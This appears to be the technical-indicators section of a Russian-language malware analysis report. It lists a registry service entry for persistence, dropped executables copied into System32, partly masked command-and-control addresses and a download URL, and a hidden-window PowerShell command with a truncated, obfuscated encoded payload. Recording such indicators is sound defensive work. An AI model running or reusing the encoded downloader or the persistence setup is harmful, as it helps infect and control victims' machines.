Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\NlsData000a] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\NlsData000a] 'ImagePath' = '"<SYSTEM32>\iscsied\NlsData000a.exe"'
- 'NlsData000a' "<SYSTEM32>\iscsied\NlsData000a.exe"
- 'NlsData000a' <SYSTEM32>\iscsied\NlsData000a.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABPADkAMQAzADkAeQA3AD0AKAAnAFUAJwArACgAJwBpACcAKwAnAG4AaQAnACsAJwB6AG0AZAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgBWADoAdQBTAEUAcgBQAFIAbwBmAGkAbABFAFwAaAB1AF...
- %HOMEPATH%\huzc0_y\itvc3nd\r1jrp8.exe
- <SYSTEM32>\iscsied\nlsdata000a.exe
- %HOMEPATH%\huzc0_y\itvc3nd\r1jrp8.exe в <SYSTEM32>\iscsied\nlsdata000a.exe
- '18#.#15.227.107':443
- http://xn####qumz1h0h.com/wp-content/zj/
- http://18#.##5.227.107:443/ZXjh8Mk2oKpJJ/sWpjDFh3Z/ via 18#.#15.227.107
- DNS ASK xn####qumz1h0h.com
- '%HOMEPATH%\huzc0_y\itvc3nd\r1jrp8.exe'
- '<SYSTEM32>\iscsied\nlsdata000a.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABPADkAMQAzADkAeQA3AD0AKAAnAFUAJwArACgAJwBpACcAKwAnAG4AaQAnACsAJwB6AG0AZAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgBWADoAdQBTAEUAcgBQAFIAbwBmAGkAbABFAFwAaAB1AF...' (со скрытым окном)